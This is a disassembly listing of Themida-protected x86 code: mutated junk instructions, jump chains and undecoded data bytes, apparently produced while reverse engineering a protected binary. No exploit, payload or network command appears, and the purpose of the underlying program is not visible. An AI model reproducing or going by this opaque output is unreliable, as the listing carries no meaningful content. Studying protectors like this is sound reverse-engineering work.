		dd 0FFFF6CF5h, 0FF243489h, 0E9042474h, 0FFFFECB7h, 0B5240C89h
		dd 51E58081h, 0FF9108E9h, 80FEB5FFh, 3E901C5h, 5AFFFFE1h
		dd 0C8BCA01h, 0E3895324h, 4C381h, 0C3830000h, 241C8704h
		dd 2C2815Ch, 52000000h,	42474FFh, 24048F5Ah, 0FE24248Bh
		dd 0E99C2404h, 0FFFF53DEh, 24048F5Fh, 6824248Bh, 3790h
		dd 68241C89h, 0
		dd 0EE9525Bh, 1FFFFB4h,	0EEEA81DAh, 5B3C1115h, 0A9E9D101h
		dd 80FFFFF3h, 0FBE944F5h, 0FEFFFFC2h, 0D8C380C3h, 0E904E3C0h
		dd 0FFFFF626h
; ---------------------------------------------------------------------------


loc_5940C4:				; CODE XREF: Themida_:0058FD0Ej
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_589462
; ---------------------------------------------------------------------------


loc_5940CD:				; CODE XREF: Themida_:00595A65j
		add	[esp], eax
		pushf
		jmp	loc_589462
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 4C581h, 0E9560000h, 0FFFFE631h, 4C181h, 50520000h, 0F46D58B8h
		dd 8B57BA01h, 0C22950A3h, 0FFC430E9h, 242C89FFh, 0FF94EAE9h
		dd 243CD2FFh, 5354E99Ch, 8956FFFFh, 4C681E6h, 51000000h
		dd 4B9h, 59CE0100h, 8B243487h, 89532424h, 4C7E9E3h, 6C810000h
		dd 15150424h, 1CE96B62h, 21FFFFB8h, 0E28159CAh,	797F60BCh
		dd 11F4F281h, 0EB81402Ch, 41C2215Bh, 0C381D329h, 41C2215Bh
		dd 0B9515Ah, 0E9000000h, 0FFFFB13Dh, 2404295Ch,	52F4E99Ch
		dd 9ABFFFFFh, 53079467h, 777CBEBBh, 5BDF011Eh, 0FF6117E9h
		dd 80C328FFh, 0C38001EBh, 4EC8151h, 89000000h, 2BB42404h
		dd 0E958E328h, 0FFFFB7CFh
; ---------------------------------------------------------------------------


loc_59419C:				; CODE XREF: Themida_:0058BF44j
		mov	esp, [esp]
		jmp	loc_5921DD
; ---------------------------------------------------------------------------


loc_5941A4:				; CODE XREF: Themida_:005951C0j
		push	edx
		mov	edx, 4
		add	esi, edx
		jmp	loc_595701
; ---------------------------------------------------------------------------
		db 66h,	1, 0D8h
		dd 0FF9B23E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5941B9:				; CODE XREF: Themida_:0058A2BCj
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_58AA85
; ---------------------------------------------------------------------------
		db 89h
		dd 0EB815FFBh, 58A1317Bh, 0FD5BDF01h, 381A68h, 242C8900h
		dd 0F3CDE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_594202:				; CODE XREF: Themida_:0058AE32j
		pop	eax
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		jmp	loc_590282
; ---------------------------------------------------------------------------
		db 0E9h, 4Ch, 52h
		dd 0E389FFFFh, 0E86E9h,	89E95300h, 51000007h, 5238E99Ch
		dd 8B2DFFFFh, 5A3DD71Eh, 6BB8BA52h, 0D2F778F0h,	0D2F7D2F7h
		dd 2414F752h, 8A2E9h, 4C78100h,	0E9000000h, 0FFFF7E7Eh
		dd 81241C8Bh, 4C4h, 0D168E900h,	148BFFFFh, 0E7895724h
		dd 988E9h, 0C3805800h, 80C328CCh, 0F1E9CCEBh, 0FF000016h
		dd 81582434h, 4C4h, 65D6E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_594286:				; CODE XREF: Themida_:005938C7j
		shr	edx, 6
		jmp	loc_58A0BA
; ---------------------------------------------------------------------------
		dw 0D8F7h
		dd 0C9B95148h, 95F4A79h, 7E66E9C8h, 248BFFFFh, 241C8924h
		dd 2F6A68h, 24248900h, 4240481h, 0E9000000h, 0FFFFDD90h
; ---------------------------------------------------------------------------


loc_5942B8:				; CODE XREF: Themida_:00590A03j
		push	esi
		jmp	loc_595836
; ---------------------------------------------------------------------------


loc_5942BE:				; CODE XREF: Themida_:0058E050j
		mov	edi, 1A357E20h
		jmp	loc_58F652
; ---------------------------------------------------------------------------
		dd 0E9FB2958h, 0FFFFAD2Fh, 1F7337BDh, 144EE923h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5942DA:				; CODE XREF: Themida_:0058FFE4j
		sub	eax, 2ECF1546h
		add	eax, edi
		add	eax, 2ECF1546h
		push	3659h
		mov	[esp], ebx
		mov	ebx, 51FB72F0h
		add	ebx, 63784DC7h
		push	edx
		mov	edx, 2CEC46F0h
		add	ebx, edx
		pop	edx
		push	eax
		mov	eax, 3AC73FFBh
		and	ebx, eax
		pop	eax
		not	ebx
		sub	ebx, 0DDBFF85Bh
		push	edx
		mov	edx, 0
		jmp	loc_58952B
; ---------------------------------------------------------------------------


loc_59431E:				; CODE XREF: Themida_:0058E608j
		not	edx
		xor	eax, edx
		jmp	loc_590D09
; ---------------------------------------------------------------------------
		db 66h
		dd 8AF58851h, 88022474h, 0E902246Ch, 0FFFFACFBh
; ---------------------------------------------------------------------------


loc_594338:				; CODE XREF: Themida_:0058C83Cj
		not	ebx
		xchg	ebx, esi
		xor	esi, 972EF0A1h
		add	edi, esi
		pop	esi
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	46Eh
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_5949C2
; ---------------------------------------------------------------------------


loc_594363:				; CODE XREF: Themida_:00592D3Cj
		mov	ebp, 19CE003Eh
		sub	[esp+8], ebp
		pop	ebp
		add	dword ptr [esp+4], 1F625CFDh
		jmp	loc_58DD29
; ---------------------------------------------------------------------------
		dw 0D104h
		dd 3E94A04h, 68FFFFDFh,	77CBh, 68242489h, 33A5h, 0E9243C89h
		dd 0FFFFC46Fh
; ---------------------------------------------------------------------------


loc_594398:				; CODE XREF: Themida_:00593D7Fj
		mov	eax, 6C33E1h
		push	eax
		sub	dword ptr [esp], 7EA17BC2h
		jmp	loc_58E2E6
; ---------------------------------------------------------------------------
		dw 0CA81h
		dd 289C3AE0h, 0B8504A4Ah, 7AB854D7h, 0FF75A1E9h, 0D830ACFFh
		dd 0FFE091E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5943C5:				; CODE XREF: Themida_:0058AC20j
		push	ecx
		mov	ecx, edx
		mov	[edi+20h], ecx
		pop	ecx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4


loc_5943D3:				; CODE XREF: Themida_:0058A7EEj
					; Themida_:005924BCj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	esi
		mov	esi, 2883F7Bh
		add	esi, 0FD77C089h
		add	edx, esi
		mov	esi, [esp]
		push	ebx
		jmp	loc_5951DD
; ---------------------------------------------------------------------------


loc_594405:				; CODE XREF: Themida_:00592D61j
		shr	ecx, 1
		add	ecx, 6B9902E3h
		and	ecx, 64674FBh
		xor	ecx, 24464A6h
		jmp	loc_58E797
; ---------------------------------------------------------------------------


loc_59441E:				; CODE XREF: Themida_:0058AB70j
		mov	edi, 6B1B1C6Eh
		inc	edi
		xor	edi, 37AB33A6h
		sub	ebx, edi
		pop	edi
		jmp	loc_591E56
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0E984B602h, 0FFFF7CF9h, 9C241CF7h, 0FF501DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_594445:				; CODE XREF: Themida_:00589D9Cj
		and	edi, ecx
		jmp	loc_58C80D
; ---------------------------------------------------------------------------
		dd 0BF243C89h, 3AA720A9h, 0FF72BCE9h, 0C6815DFFh, 551C54AEh
		dd 0EE81DE01h, 551C54AEh, 0FF7A8BE9h, 473EBDFFh, 0ED812BA2h
		dd 2C18401Ch, 0F8E2C581h, 2FE90075h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_594483:				; CODE XREF: Themida_:00593092j
		sub	ecx, 58297210h
		jmp	loc_58FFE1
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 4895C24h, 48B5424h, 0A637E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59449E:				; CODE XREF: Themida_:0059167Fj
		sub	ebx, 47AC4327h
		pop	ebp
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_5915CC
; ---------------------------------------------------------------------------
		dd 592434FFh, 74C868h, 4F4E900h, 0D0280000h, 5A66DB04h
		dd 0FFF8F4E9h, 50EE81FFh, 31C32A6Ch, 68E95EF0h,	51000010h
		dd 0FFBC74E9h, 4F80E9FFh, 0E68FFFFh, 8900005Ah,	5B54241Ch
		dd 4C381h, 0E9570000h, 0FFFF81FBh
; ---------------------------------------------------------------------------


loc_5944F8:				; CODE XREF: Themida_:0058B00Aj
		xor	edi, 22C374D6h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 672B5D93h
		xor	edi, eax
		pop	eax
		jmp	loc_590DE2
; ---------------------------------------------------------------------------
		db 66h,	51h, 0B1h
		dd 751CE917h, 295BFFFFh, 2434FFC7h, 0F749E958h,	431FFFFh
		dd 24043324h, 0E924248Bh, 0FFFFD370h, 0B8E9F188h
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59453B:				; CODE XREF: Themida_:00589555j
		add	edi, ecx
		pop	ecx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_593F30
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 72E90424h, 81FFFFF5h, 2564EC7h, 65F7810Dh, 2D3DA48Fh
		dd 3B6E4F9Bh, 0D67E6705h, 0E9F82946h, 0FFFFD687h, 8B2434FFh
		dd 0C4812404h, 4, 4EC81h, 14890000h, 0E5D9E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59458A:				; CODE XREF: Themida_:0058E693j
		mov	ebx, ebp
		jmp	loc_58F88F
; ---------------------------------------------------------------------------


loc_594591:				; CODE XREF: Themida_:00590C48j
		neg	edi
		or	edi, 721C798Bh
		sub	edi, 72DF7BD7h
		sub	ebp, edi
		jmp	loc_589548
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24048904h, 6B474DB8h, 6A2E922h, 89510000h, 4C181E1h
		dd 83000000h, 0C8704C1h, 57685C24h, 89000040h, 2BA2414h
		dd 81000000h, 0C537FAC1h, 81D10147h, 0C537FAE9h, 0C335A47h
		dd 240C3124h, 5C240C33h, 9C240428h, 0FF4E6DE9h,	4EC83FFh
		dd 0FFED9DE9h, 5AEF81FFh, 314801F6h, 0C2295FF8h, 0E924048Bh
		dd 0FFFFA023h, 0FE3EB652h, 85BFE9C6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59461A:				; CODE XREF: Themida_:0058B6F2j
		mov	[esp], edi
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		push	eax
		push	edx
		mov	edx, 67C945EAh
		mov	eax, edx
		pop	edx
		shl	eax, 7
		shl	eax, 4
		inc	eax
		shr	eax, 3
		jmp	loc_58B378
; ---------------------------------------------------------------------------
		dd 241C875Dh, 4EC815Ch,	89000000h, 8B54243Ch, 0C483243Ch
		dd 4EE95104h, 89FFFF78h, 97E9241Ch, 81FFFF7Fh, 7E87E9h
		dd 0E9815B2Dh, 0FFFFFFFFh, 8904EC83h, 14BE2434h, 5316B961h
		dd 6656BD55h, 7EBB66F0h, 29999281h, 0FDCFE9EBh,	0E6C1FFFFh
		dd 0F7FE8703h, 81FE87DFh, 0F962FAC6h, 68F681AEh, 53269041h
		dd 0FFA24FE9h, 7FE952FFh, 52FFFF7Dh, 0F731D0BAh, 0AAB4E94Ch
		dd 0C589FFFFh, 0FF6B8BE9h, 0FEB850FFh, 0C1353D4Dh, 8D2D07E8h
		dd 0E91E4A73h, 10FEh
; ---------------------------------------------------------------------------


loc_5946D0:				; CODE XREF: Themida_:0058A0A5j
		add	eax, edx
		sub	eax, 5E1B5954h
		jmp	loc_58BF5D
; ---------------------------------------------------------------------------
		dd 5F2434FFh, 4EC81h, 4890000h,	48B5424h, 4C48324h, 411DBD55h
		dd 0C5811C97h, 599521E8h, 3132F581h, 0DDF70ADCh, 0E906E5C1h
		dd 0FFFF698Ah, 0E95BDE01h, 0FFFFA2F5h
; ---------------------------------------------------------------------------


loc_594714:				; CODE XREF: Themida_:00592B0Aj
		and	esi, ebp
		pop	ebp
		push	40C9h
		mov	[esp], edx
		jmp	loc_58E43F
; ---------------------------------------------------------------------------
		dd 42474FFh, 0E20FE95Dh, 4E46FFFFh, 0EE81D6F7h,	0FFFFFFFFh
		dd 8904EC83h, 0B9BD242Ch, 10C911Dh, 242C8BEEh, 0FF9C2CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59474D:				; CODE XREF: Themida_:0058EFC9j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 0C7h
		add	cl, 2Dh
		add	al, cl
		pop	ecx
		add	al, ch
		sub	al, 0F4h
		pop	ecx
		sub	esp, 2
		mov	[esp], cx
		push	ebx
		jmp	loc_58CDCC
; ---------------------------------------------------------------------------


loc_594776:				; CODE XREF: Themida_:0058F8D6j
		mov	[esp], ecx
		mov	ecx, 771F5BBAh
		add	ecx, 19A4637Dh
		and	ecx, 579E7F22h
		add	ecx, 43986801h
		xor	ecx, 268FB8CEh
		push	ecx
		jmp	loc_590AAD
; ---------------------------------------------------------------------------


loc_59479C:				; CODE XREF: Themida_:0058CE37j
		xor	bl, al
		movzx	eax, al
		jmp	loc_58B4CA
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 54525824h, 0E924148Bh, 0FFFF8227h, 72A82D5Eh, 35486D13h
		dd 50EB51E3h, 2EE9D0F7h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5947C7:				; CODE XREF: Themida_:0058CDD6j
		push	dword ptr [esp]
		jmp	loc_58B56C
; ---------------------------------------------------------------------------
		db 0BEh
		dd 2DE30A3Bh, 0EE81DEF7h, 0BBA7AE55h, 14E9F329h, 89FFFFBEh
		dd 2B82404h, 29000000h,	24048BC6h, 4EC81h, 4890000h, 5E08924h
		dd 4, 405h, 24048700h, 2434875Ch, 0FFED2EE9h, 2C481FFh
		dd 0E9000000h, 0FFFFA41Dh, 3996EE81h, 0D6015368h, 3996C681h
		dd 0EE815368h, 5A101F3h, 8324148Bh, 0BD5504C4h,	2, 2C8BEE01h
		dd 9A65E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_594846:				; CODE XREF: Themida_:0058BF93j
		xor	ebx, [esp]
		jmp	loc_58F740
; ---------------------------------------------------------------------------
		dw 0E7D1h
		dd 0F0DEC781h, 0FE09326Dh, 94C6815Fh, 815D2428h, 7E6A0EF6h
		dd 0F8C6812Dh, 81038A21h, 0F6EF90EEh, 5EBDE9F4h, 5650FFFFh
		dd 0FF4D7AE9h, 51C380FFh, 285BD930h, 8370E9CBh,	8155FFFFh
		dd 4ECh, 24048900h, 0D103E956h,	0E959FFFFh, 0FFFF5EB8h
		dd 0EAE68h, 104DE900h, 0F3280000h, 0FF3BC380h, 555A2434h
		dd 87CBE954h, 0C0BDFFFFh, 0D13A7D62h, 22E950EDh, 5FFFFFD0h
		dd 3304C683h, 0E5E92434h, 52FFFFB3h, 2DE954B6h,	53FFFF93h
		dd 0D888C5B3h, 66C2285Bh, 2C8C0458h, 66D000E9h,	0E9B252h
		dd 9EC4E9D0h, 2C89FFFFh, 15685724h, 5F7D293Bh, 0FFDFC6E9h
		dd 48B66FFh, 4EC8124h, 89000000h, 0E589242Ch, 4BE5657h
		dd 52000000h, 0D789F289h, 0DF0E9h, 4EC8100h, 89000000h
		dd 6855240Ch, 34765EA0h, 0D2ED815Dh, 8179F826h,	0DFDB6AC5h
		dd 245568B7h, 2C890000h, 0A1E95524h, 59FFFFE2h,	66AAC380h
		dd 661A2A68h, 0B1240C89h, 0D250E99Ch, 0BA52FFFFh, 0D36F92B8h
		dd 0CCE9D101h, 1FFFF66h, 0EC835AD6h, 0FE69E904h, 2C89FFFFh
		dd 54CBBD24h, 0EC830260h, 241C8904h, 0F7429CBBh, 8BDD310Dh
		dd 0C483241Ch, 5DBE5604h, 0C17CB603h, 72E908E6h, 66FFFFE3h
		dd 0E91434BAh, 0FFFFCC58h, 94DDE957h, 3C89FFFFh, 53E78924h
		dd 4BBh, 8C7CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5949C2:				; CODE XREF: Themida_:0059435Ej
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		push	edi
		mov	edi, 40000h
		mov	ecx, edi
		push	dword ptr [esp]
		jmp	loc_59596E
; ---------------------------------------------------------------------------


loc_5949DE:				; CODE XREF: Themida_:0058F74Bj
		jmp	loc_589462
; ---------------------------------------------------------------------------


loc_5949E3:				; CODE XREF: Themida_:0058FC20j
		add	esp, 4
		push	edx
		mov	edx, 5142620h
		xor	edx, 77F10738h
		sub	ecx, edx
		jmp	loc_59543A
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 55h
		dd 0F747EC4Ch, 84F381D3h, 816FED30h, 5A10F4F3h,	35EB8141h
		dd 0E944841Bh, 0FFFF7AD9h
; ---------------------------------------------------------------------------


loc_594A18:				; CODE XREF: Themida_:0058C317j
		add	dword ptr [esp+4], 32BC5EC1h
		sub	[esp+4], ecx
		jmp	loc_58B472
; ---------------------------------------------------------------------------
		db 89h,	0E7h, 81h
		dd 4C7h, 0D052E900h, 8166FFFFh,	665667F6h, 1CF76656h, 665E6624h
		dd 86BF6657h, 9EC3E93Bh, 8159FFFFh, 0F65145F1h,	0B9F1812Eh
		dd 29843893h, 0BA5259CBh, 16754770h, 68DCC381h,	0D3010041h
		dd 68DCEB81h, 148B0041h, 0E1895124h, 4C181h, 0C1830000h
		dd 240C8704h, 4EC815Ch,	0E9000000h, 0FFFFC2BAh
; ---------------------------------------------------------------------------


loc_594A90:				; CODE XREF: Themida_:0058D7E9j
		shl	ebx, 3
		jmp	loc_58FB92
; ---------------------------------------------------------------------------
		dd 600071BFh, 47D7F768h, 117EE781h, 0E7C114DCh,	5EFC106h
		dd 35A7C781h, 0F8295BE1h, 81243C8Bh, 4C4h, 24130500h, 9DE92D94h
		dd 0C0FFFF79h, 35E905EAh, 0FFFFFF4Fh, 669D1C77h, 4196658h
		dd 83E99C24h, 8BFFFF49h, 71E9243Ch, 5AFFFFE8h, 69C2F281h
		dd 0C281192Ah, 0C9433691h, 0FF59CBE9h, 5AD128FFh, 0FF831EE9h
		dd 4BD55FFh, 1000000h, 0B9515DEBh, 2, 0FF9A66E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_594B15:				; CODE XREF: Themida_:00591089j
		add	edi, 4
		add	edi, 2
		xchg	edi, [esp]
		mov	esp, [esp]
		push	35DFh
		mov	[esp], ecx
		jmp	loc_59374D
; ---------------------------------------------------------------------------
		dd 348BF301h, 4C48124h,	87000000h, 835C241Ch, 0C3302C1h
		dd 240C3124h, 8B240C33h, 0FE92424h
		db 73h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_594B57:				; CODE XREF: Themida_:0058F89Ej
		push	7EAAh
		mov	[esp], esi
		mov	esi, 42D70E86h
		mov	dword ptr [edi+20h], 0A7052BD9h
		sub	[edi+20h], esi
		mov	esi, [esp]
		add	esp, 4
		shl	dword ptr [edi+20h], 6
		shl	dword ptr [edi+20h], 1
		shr	dword ptr [edi+20h], 8
		jmp	loc_59391D
; ---------------------------------------------------------------------------


loc_594B87:				; CODE XREF: Themida_:0058D6EFj
		mov	ecx, [edx]
		mov	edx, [esp]
		add	esp, 4
		push	0F83h
		jmp	loc_58ADED
; ---------------------------------------------------------------------------
		db 0B8h, 0B9h, 60h
		dd 1805186Dh, 0D1BA56Fh, 71CC76BCh, 0FF629BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_594BAD:				; CODE XREF: Themida_:00592E26j
		push	eax
		mov	eax, 32D735E6h
		xor	[esp+4], eax
		pop	eax
		jmp	loc_58DCD4
; ---------------------------------------------------------------------------
		db 59h,	53h, 57h
		dd 940D9368h, 6FBB5F31h, 0E948DF21h, 0FFFFEDF0h, 4C4835Ah
		dd 31243433h, 34332434h, 8B665C24h, 68512404h, 6FC2h, 51242489h
		dd 0FF8D08E9h, 4C781FFh, 50000000h, 4B8h, 77C78100h, 117B500h
		dd 77EF81C7h, 8B17B500h, 0C4812404h, 4,	5C243C87h, 7C380h
		dd 5EADE9C3h, 0F781FFFFh, 6C9D1EB9h, 3C8BFB29h,	4C48124h
		dd 66000000h, 6600B60Fh, 0E9234768h, 0FFFF7706h
; ---------------------------------------------------------------------------


loc_594C40:				; CODE XREF: Themida_:0058A10Cj
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	2DD7h
		jmp	loc_59120E
; ---------------------------------------------------------------------------
		db 8, 0F7h, 0E9h
		dd 0FFFF88E4h, 6850B5BFh, 8BC7317Bh, 0C4812404h, 4, 1BB5350h
		dd 89000000h, 0F8A4E9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_594C76:				; CODE XREF: Themida_:005899FFj
		add	edi, 4
		jmp	loc_589EC4
; ---------------------------------------------------------------------------
		dw 0B252h
		dd 8EAC073h, 0FF641FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_594C89:				; CODE XREF: Themida_:0058A6A6j
		mov	ebx, 49BB51FBh
		add	ebx, 0D884E7CFh
		push	eax
		jmp	loc_58D5E8
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 5BD83004h, 0B60FC330h, 87048DC0h, 44CA68h, 24048900h
		dd 0FF47ADE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_594CB5:				; CODE XREF: Themida_:0058E840j
		shr	ebx, 4
		xor	ebx, 68FCBDACh
		xor	ecx, ebx
		pop	ebx
		shr	ecx, 5
		add	ecx, 0FF337D86h
		push	ecx
		pop	ebx
		push	dword ptr [esp]
		jmp	loc_58DDD6
; ---------------------------------------------------------------------------


loc_594CD4:				; CODE XREF: Themida_:0058CFBFj
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		sub	al, cl
		mov	cx, [esp]
		jmp	loc_58BE3B
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 4EC81h, 83E90000h, 68FFFFFCh, 76F7h,	0FF75D7E9h, 5DE989FFh
		dd 8952F929h, 0E9D789CAh, 0FFFFD095h, 964CE946h, 3C8BFFFFh
		dd 4C48124h, 52000000h,	0C281E289h, 4, 4C281h, 0CAE90000h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_594D33:				; CODE XREF: Themida_:0058A982j
		add	edi, edx
		pop	edx
		xchg	edi, [esp]
		jmp	loc_592057
; ---------------------------------------------------------------------------


loc_594D3E:				; CODE XREF: Themida_:005929C7j
		push	ebp
		mov	ebp, 7FFD7A0Ah
		xor	eax, ebp
		pop	ebp
		jmp	loc_592446
; ---------------------------------------------------------------------------
		dd 81240C89h, 4ECh, 24248900h, 0FFA36CE9h, 2434FFFFh, 9DDDE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_594D66:				; CODE XREF: Themida_:0058D454j
		add	esp, [edx+38h]
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebx
		push	438A63A7h
		mov	ebx, [esp]
		add	esp, 4
		sub	ebx, 339C61FBh
		push	ebx
		sub	dword ptr [esp], 19D90DABh
		pop	ecx
		jmp	loc_5907BA
; ---------------------------------------------------------------------------
		db 87h
		dd 685C2414h, 1F49h, 0B9240C89h, 2, 0C8BCE01h, 4C48324h
		dd 5C243487h, 2424D366h, 46A4E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_594DBE:				; CODE XREF: Themida_:00592F70j
		xchg	edi, edx
		neg	edx
		push	ecx
		mov	ecx, 508377F0h
		sub	edx, 35CB5451h
		add	edx, ecx
		jmp	loc_58BF18
; ---------------------------------------------------------------------------
		db 80h,	0F7h, 0DDh
		dd 1C04922Ch, 1C2CF800h, 42B65253h, 0EF80AEB7h,	0E9F72839h
		dd 0FFFFC76Fh
; ---------------------------------------------------------------------------


loc_594DF0:				; CODE XREF: Themida_:00593BB8j
		mov	ebp, [esp]
		push	edi
		jmp	loc_5915AE
; ---------------------------------------------------------------------------


loc_594DF9:				; CODE XREF: Themida_:00589EB7j
		sub	ebx, 98E37E3Bh
		mov	eax, ebx
		jmp	loc_58B6AC
; ---------------------------------------------------------------------------
		dw 0F500h
		dd 0E9FEC580h, 0FFFFABD2h, 240C8B66h, 8904EC83h, 58542404h
		dd 20E95356h, 66FFFFB5h, 0F8BFF781h, 0E9F83166h, 0FFFFE4F0h
		dd 8044CE80h, 0F428CDEEh, 0E628E95Ah, 4B8FFFFh,	51000000h
		dd 135EFFB9h, 59CA2928h, 0FF896CE9h, 53CCFEFFh,	0DC28A3B3h
		dd 89E7E95Bh, 0D1F7FFFFh, 0FF4EA3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_594E65:				; CODE XREF: Themida_:0058BD12j
		sub	al, 56h
		add	al, dl
		add	al, 56h
		pop	edx
		add	al, dh
		sub	al, 0DDh
		pop	edx
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5919D9
; ---------------------------------------------------------------------------
		dd 7CB16866h, 240C8966h, 0FF6D71E9h, 2474FFFFh,	24148B04h
		dd 920E9h, 243C3300h, 0FF5ABAE9h, 1B7768FFh, 4890000h
		dd 5360B824h, 0B8502DB2h, 3E8F5D7Bh, 7C05E952h,	815EFFFFh
		dd 935D60C2h, 4594E96Ah, 0B951FFFFh, 3D805798h,	77ABC981h
		dd 0C18111DCh, 0C2238849h, 8359CE01h, 343304C6h, 6164E924h
		dd 0EC81FFFFh, 4, 0BF243C89h, 1EAD136Eh, 0B6566C2Dh, 7AA9E923h
		dd 0E6C0FFFFh, 0B8EE8002h, 6609C680h, 2454F652h, 805A6601h
		dd 0EE80DDE6h, 0F5E951CDh
		db 5Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_594F23:				; CODE XREF: Themida_:0058B771j
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		push	ebp
		jmp	loc_59198B
; ---------------------------------------------------------------------------
		db 0C1h
		dd 8FE906EBh, 5FFFFFEBh, 4B850h, 0EB810000h, 50BA74A7h
		dd 0C381C301h, 50BA74A7h, 0FF512FE9h, 0B75350FFh, 0CDE78048h
		dd 0D7F6C7FEh, 802ACF80h, 0B050E7E7h, 24C8FEFDh, 0E9D8F615h
		dd 0FFFF9DFCh
; ---------------------------------------------------------------------------


loc_594F78:				; CODE XREF: Themida_:0058DF85j
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		push	3546h
		mov	[esp], ebx
		jmp	loc_593EAF
; ---------------------------------------------------------------------------


loc_594F96:				; CODE XREF: Themida_:0058BB66j
		mov	ebx, esp
		jmp	loc_58AC64
; ---------------------------------------------------------------------------
		db 5Fh,	5, 0Dh
		dd 29F32A46h, 0EBE958C5h
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_594FAB:				; CODE XREF: Themida_:0058AD75j
		pop	ebp
		push	dword ptr [edi+1Ch]
		jmp	loc_58D23E
; ---------------------------------------------------------------------------
		dd 0FFC3834Bh, 5D768h, 24048900h, 0B3BB14B8h, 0C37AE91Bh
		dd 0D101FFFFh, 8904EC83h, 0F0E92414h
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_594FD7:				; CODE XREF: Themida_:0059053Fj
		sub	ebx, 3ED44C3Dh
		sub	ebx, ebp
		add	ebx, 3ED44C3Dh
		pop	ebp
		jmp	loc_58FA8E
; ---------------------------------------------------------------------------
		db 5Fh
		dd 5C240487h, 0FFE0E3E9h, 35D0F7FFh, 0ADD5B6C8h, 8158C531h
		dd 506BD4EDh, 699EE977h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59500A:				; CODE XREF: Themida_:0058B743j
		xor	edx, [esp]
		pop	esp
		push	esi
		push	52FFh
		mov	[esp], edi
		push	ebp
		mov	ebp, 471A5B8Ch
		mov	edi, ebp
		pop	ebp
		push	2559h
		mov	[esp], eax
		mov	eax, 7023287Ah
		not	eax
		shr	eax, 2
		add	eax, 94EE6EA3h
		add	edi, eax
		mov	eax, [esp]
		jmp	loc_58FBCE
; ---------------------------------------------------------------------------


loc_595041:				; CODE XREF: Themida_:0058BA59j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_58E14F
; ---------------------------------------------------------------------------
aZbq		db '^!×Zï',0
		db 18h
		dd 7BE901C1h, 89FFFF60h, 0F3E95FFAh, 81FFFFBAh,	0FBA763EBh
		dd 91F1E985h, 0F180FFFFh, 59CE0014h, 281FC380h,	1FEB80F3h
		dd 4A18E95Ah, 315CFFFFh, 0E99C2404h, 0FFFF43D6h, 815DEE89h
		dd 87018FC7h, 81F7016Bh, 87018FEFh, 6E95E6Bh, 81FFFF6Fh
		dd 4C3h, 0D565E900h, 83ADFFFFh,	0F00207Fh, 0FF85BD84h
		dd 6852FFh, 8900002Bh, 28E9241Ch
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


